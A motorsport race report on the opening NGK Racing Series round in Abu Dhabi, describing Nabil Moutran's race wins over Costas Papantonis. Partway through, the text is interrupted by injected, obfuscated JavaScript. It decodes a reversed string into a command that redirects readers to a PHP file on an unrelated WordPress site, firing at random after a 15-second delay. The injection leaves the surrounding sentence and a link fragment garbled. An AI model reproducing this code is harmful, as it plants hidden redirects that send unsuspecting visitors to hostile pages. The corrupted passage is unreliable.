Nabil Moutran may want to consider having a windscreen thrown at him ahead of every event on this year’s NGK Racing Series calendar, which kicked off last weekend at the Yas Marina Circuit in Abu Dhabi.
That may sound slightly harsh – and the man himself may not appreciate the inference either – but it can’t be argued that the incident (started by a lose clip allowing the bonnet to fly up and crash into the SEAT Leon’s windscreen at speed) proved to be the turning point of his weekend. Seemingly down and out at that point, from then on the local boy was unstoppable.
Having consequently been beaten to pole position by the last year’s Championship runner-up Costas Papantonis, and forced to start well down the field, Moutran’s chances of challenging for anything other than points looked bleak, but at least he had made it to the grid. A superb getaway from the rolling start (standing starts having been abolished during the off-season in the hope of sparing ailing gearboxes from further punishment) meant Moutran was soon right on the tail of Papantonis, the only remaining Class 1 entrant following the departure of both reigning Champion $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/a-quick-chat-with-the-champs-dubai-uae/” target=”_blank”>Nader Zuhour to pastures new and the refusal of Brain McGinley’s Phoenix Motorsport-run Opel Astra to fire into life.
With race two still to run, and with the cars still a bit stiff from month’s of storage time during the off-season, a gladiatorial fight for honours failed to materialize. The gap would fluctuate from three seconds back down to one, but Moutran had done enough to secure the first victory of the season ahead of Papantonis.
The Grecian – pleased to have made it a race distance at the third attempt – would again have to settle for second in the final race of the day behind the Duel Racing-run SEAT ahead. He would close quickly in the final laps of the race, but a brand new Leon to work with – plus a knackering flight from Greece immediately prior to getting behind the wheel – led to Papantonis dropping the SEAT just in front of the fans watching from the Yas Viceroy Hotel. Twelve seconds further down the road, the Gulf Petrochem/Mouhrista Racing-run SEAT limped home for a second consecutive podium behind his British rival.
